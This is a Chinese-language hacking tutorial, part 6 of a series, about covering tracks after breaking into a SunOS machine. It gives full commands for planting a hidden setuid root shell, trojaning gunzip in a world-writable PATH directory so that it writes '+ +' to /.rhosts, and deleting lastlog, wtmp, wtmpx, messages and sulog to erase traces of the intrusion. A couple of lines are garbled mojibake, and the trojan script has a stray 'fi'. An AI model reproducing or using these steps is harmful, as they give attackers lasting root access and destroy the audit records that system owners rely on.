网络入侵实用战术手册(6)
作者[samsa]
六、最后的疯狂(善后)
1) 后门
e.g.有一次,俺通过改写/.rhosts成了root,但.rhosts很容易被发现的哦,怎么
办?留个后门的说:
# rm -f /.rhosts
# cd /usr/bin
# ls mscl
# ls mscl
mscl: 无此文件或目录
# cp /bin/ksh mscl
# chmod a+s mscl
# ls -l mscl
-r-sr-sr-x 1 root ofc 192764 5月 19 11:42 mscl
以后以任何用户登录,只要执行``/usr/bin/mscl\"\"就成root了。
/usr/bin下面那一大堆程序,能发现这个mscl的几率简直小到可以忽略不计了。
2) 特洛伊木马
e.g. 有一次我发现:
$ echo $PATH
/usr/sbin:/usr/bin:/usr/ccs/bin:/opt/gnu/bin:.
$ ls -ld /opt/gnu
drwxrwxrwx 7 root other 512 5月 14 11:54 /opt/gnu
$ cd /opt/gnu
$ ls -l
total 24
drwxrwxrwx 7 root other 512 5月 14 11:54 .
drwxrwxr-x 9 root sys 512 5月 19 15:37 ..
drwxr-xr-x 2 root other 1536 5月 14 16:10 bin
drwxr-xr-x 3 root other 512 1996 11月 29 include
drwxr-xr-x 2 root other 3584 1996 11月 29 info
drwxr-xr-x 4 root other 512 1997 12月 17 lib
$ cp -R bin .TT_RT; cd .TT_RT
``.TT_RT\"\"这种东东看起来象是系统的...
决定替换常用的程序gunzip
$ mv gunzip gunzip:
$ cat > toxan
#!/bin/sh
echo \"+ +\" >/.rhosts
^D
$ cat > gunzip
if [ -f /.rhosts ]
then
mv /opt/gnu/bin /opt/gnu/.TT_RT
mv /opt/gnu/.TT_DB /opt/gnu/bin
/opt/gnu/bin/gunzip $*
else
/opt/gnu/bin/gunzip: $*
fi
fi
^D
$ chmod 755 toxan gunzip
$ cd ..
$ mv bin .TT_DB
$ mv .TT_RT bin
$ ls -l
total 16
drwxr-xr-x 2 zw staff 1536 5月 14 16:10 bin
drwxr-xr-x 3 root other 512 1996 11月 29 include
drwxr-xr-x 2 root other 3584 1996 11月 29 info
drwxr-xr-x 4 root other 512 1997 12月 17 lib
$ ls -al
total 24
drwxrwxrwx 7 root other 512 5月 14 11:54 .
drwxrwxr-x 9 root sys 512 5月 19 15:37 ..
drwxr-xr-x 2 root other 1536 1998 11月 2 .TT_DB
drwxr-xr-x 2 zw staff 1536 5月 14 16:10 bin
drwxr-xr-x 3 root other 512 1996 11月 29 include
drwxr-xr-x 2 root other 3584 1996 11月 29 info
drwxr-xr-x 4 root other 512 1997 12月 17 lib
虽然有点暴露的可能(bin的属主竟然是zw!!!),但也顾不得了。
盼着root尽快执行gunzip吧...
过了两天:
$ cd /opt/gnu
$ ls -al
total 24
drwxrwxrwx 7 root other 512 5月 14 11:54 .
drwxrwxr-x 9 root sys 512 5月 19 15:37 ..
drwxr-xr-x 2 zw other 1536 1998 11月 2 .TT_RT
drwxr-xr-x 2 root staff 1536 5月 14 16:10 bin
drwxr-xr-x 3 root other 512 1996 11月 29 include
drwxr-xr-x 2 root other 3584 1996 11月 29 info
drwxr-xr-x 4 root other 512 1997 12月 17 lib
(samsa:bingo!!!有人运行俺的特洛伊木马乐...)
$ ls -a /
(null) .exrc dev proc
.. .fm devices reconfigure
.. .hotjava etc sbin
..Xauthority .netscape export tftpboot
..Xdefaults .profile home tmp
..Xdefaults .profile home tmp
..Xlocale .rhosts kernel usr
..ab_library .wastebasket lib var
......
$ cat /.rhosts
+ +
$
(samsa:下面就不用 罗嗦了吧?)
注:该结果为samsa杜撰,那个特洛伊木马至今还在老地方静悄悄地呆着呢,即无人发
现也没人光顾!!--已经20多年过去了耶....
3) 毁尸灭迹
消除掉登录记录:
3.1) /var/adm/lastlog
# cd /var/adm
# ls -l
总数73258
-rw------- 1 uucp bin 0 1998 10月 9 aculog
-r--r--r-- 1 root root 28168 5月 19 16:39 lastlog
drwxrwxr-x 2 adm adm 512 1998 10月 9 log
-rw-r--r-- 1 root root 30171962 5月 19 16:40 messages
drwxrwxr-x 2 adm adm 512 1998 10月 9 passwd
-rw-rw-rw- 1 bin bin 0 1998 10月 9 spellhist
-rw------- 1 root root 6871 5月 19 16:39 sulog
-rw-r--r-- 1 root bin 1188 5月 19 16:39 utmp
-rw-r--r-- 1 root bin 12276 5月 19 16:39 utmpx
-rw-rw-rw- 1 root root 122 1998 10月 9 vold.log
-rw-rw-r-- 1 adm adm 3343551 5月 19 16:39 wtmp
-rw-rw-r-- 1 adm adm 7229076 5月 19 16:39 wtmpx
为了下次登录时不显示``Last Login\"\"信息(向真正的用户显示):
# rm -f lastlog
# telnet victim.com
SunOS 5.7
login: zw
Password:
Sun Microsystems Inc. SunOS 5.7 Generic October 1998
$
(比较:
SunOS 5.7
login: zw
Password:
Last login: Wed May 19 16:38:31 from zw
Sun Microsystems Inc. SunOS 5.7 Generic October 1998
$
说明:/var/adm/lastlog 每次有用户成功登录进来时记一条,所以删掉以后再
登录一次就没有``Last Login\"\"信息,但再登一次又会出现,因为系统会自动
重新创建该文件)
3.2) /var/adm/utmp,/var/adm/utmpx /var/adm/wtmp,/var/adm/wtmpx
utmp、utmpx 这两个数据库文件存放当前登录在本机上的用户信息,用于who、
write、login等程序中;
$ who
wsj console 5月 19 16:49 (:0)
zw pts/5 5月 19 16:53 (zw)
yxun pts/3 5月 19 17:01 (192.168.0.115)
wtmp、wtmpx分别是它们的历史记录,用于``last\"\"
命令,该命令读取wtmp(x)的内容并以可理解的方式进行显示:
$ last | grep zw
zw ftp 192.168.0.139 Fri Apr 30 09:47 - 10:12 (00:24)
zw pts/1 192.168.0.139 Fri Apr 30 08:05 - 11:40 (03:35)
zw pts/18 192.168.0.139 Thu Apr 29 15:36 - 16:50 (01:13)
zw pts/7 Thu Apr 29 09:53 - 15:35 (05:42)
zw pts/7 192.168.0.139 Thu Apr 29 08:48 - 09:53 (01:05)
zw ftp 192.168.0.139 Thu Apr 29 08:40 - 08:45 (00:04)
zw pts/10 192.168.0.139 Thu Apr 29 08:37 - 13:27 (04:49)
......
utmp、wtmp已经过时,现在实际使用的是utmpx和wtmpx,但同样的信息依然以旧的
格式记录在utmp和wtmp中,所以要删就全删。
# rm -f wtmp wtmpx
# last
/var/adm/wtmpx: 无此文件或目录
3.3) syslog
syslogd 随时从系统各处接受log请求,然后根据/etc/syslog.conf中的预先设定把
log信息写入相应文件中、邮寄给特定用户或者直接以消息的方式发往控制台。
始母囟ㄓ没Щ蛘咧苯右韵⒌姆绞椒⑼刂铺ā?
不妨先看看syslog.conf的内容:
---------------------- begin: syslog.conf -------------------------------
#ident \"@(#)syslog.conf 1.4 96/10/11 SMI\" /* SunOS 5.0 */
#
# Copyright (c) 1991-1993, by Sun Microsystems, Inc.
#
# syslog configuration file.
#
*.err;kern.notice;auth.notice /dev/console
*.err;kern.debug;daemon.notice;mail.crit /var/adm/messages
*.alert;kern.err;daemon.err operator
*.alert root
......
---------------------- end : syslog.conf -------------------------------
``auth.notice\"\"这样的东东由两部分组成,称为``facility.level\"\",前者表示log
信息涉及的方面,level表示信息的紧急程度。
facility 有:user,kern,mail,daemon,auth,lpr,news,uucp,cron,etc...
level 有:emerg,alert,crit,err,warning,info,debug,etc...(紧急程度递减)
一般和安全关系密切的facility是mail,daemon,auth etc...
,daemon,auth etc...
而这类信息按惯例通常存放在/var/adm/messages里。
那么 messages 里那些信息容易暴露\"黑客\"痕迹呢?
1,\"May 4 08:48:35 numen login: REPEATED LOGIN FAILURES ON /dev/pts/9 FROM sams
\"
重复登录失败!如果你猜测口令的话,你肯定会经历很多次这样的失败!
不过一般的UNIX系统只有一次telnet session连续登录5次失败才会记这么一条,所以
当你4次尝试还没成功,最好赶紧退出,重新telnet...
2,\"May 5 10:30:35 numen su: \"su root\" failed for cxl on /dev/pts/15\"
\"May 18 17:02:16 numen su: \"su root\" succeeded for zw on /dev/pts/1\"
如果黑客想利用``su\"\"成为超级用户,无论成功失败,messages里都可能有记录...
3,\"Apr 29 10:12:23 numen sendmail[4777]: NOQUEUE: \"wiz\" command from numen\"
\"Apr 29 10:12:23 numen sendmail[4777]: NOQUEUE: \"debug\" command from numen\"
Sendmail早期版本的``wiz\"\"、``debug\"\"命令是漏洞所在,所以黑客可能会尝试这两个
命令...
因此,/var/adm/messages也是暴露黑客行踪的隐患,最好把它删掉(如果能的话,哈哈)!
?
# rm -f /var/adm/messages
(samsa:爽!!!)
或者,如果你不想引起注意的话,也可以只把对应的行删掉(当然要有写权限)。
Φ男猩镜簦ǖ比灰行慈ㄏ蓿?
3.4) sulog
/var/adm下还有一个sulog,是专门为su程序服务的:
# cat sulog
SU 05/06 09:05 + console root-zw
SU 05/06 13:55 - pts/9 yxun-root
SU 05/06 14:03 + pts/9 yxun-root
......
其中``+\"\"表示su成功,``-\"\"表示失败。如果你用过su,那就把这个文件也删掉把,
或者把关于你的行删掉!
发布人:netbull 来自:黑客专家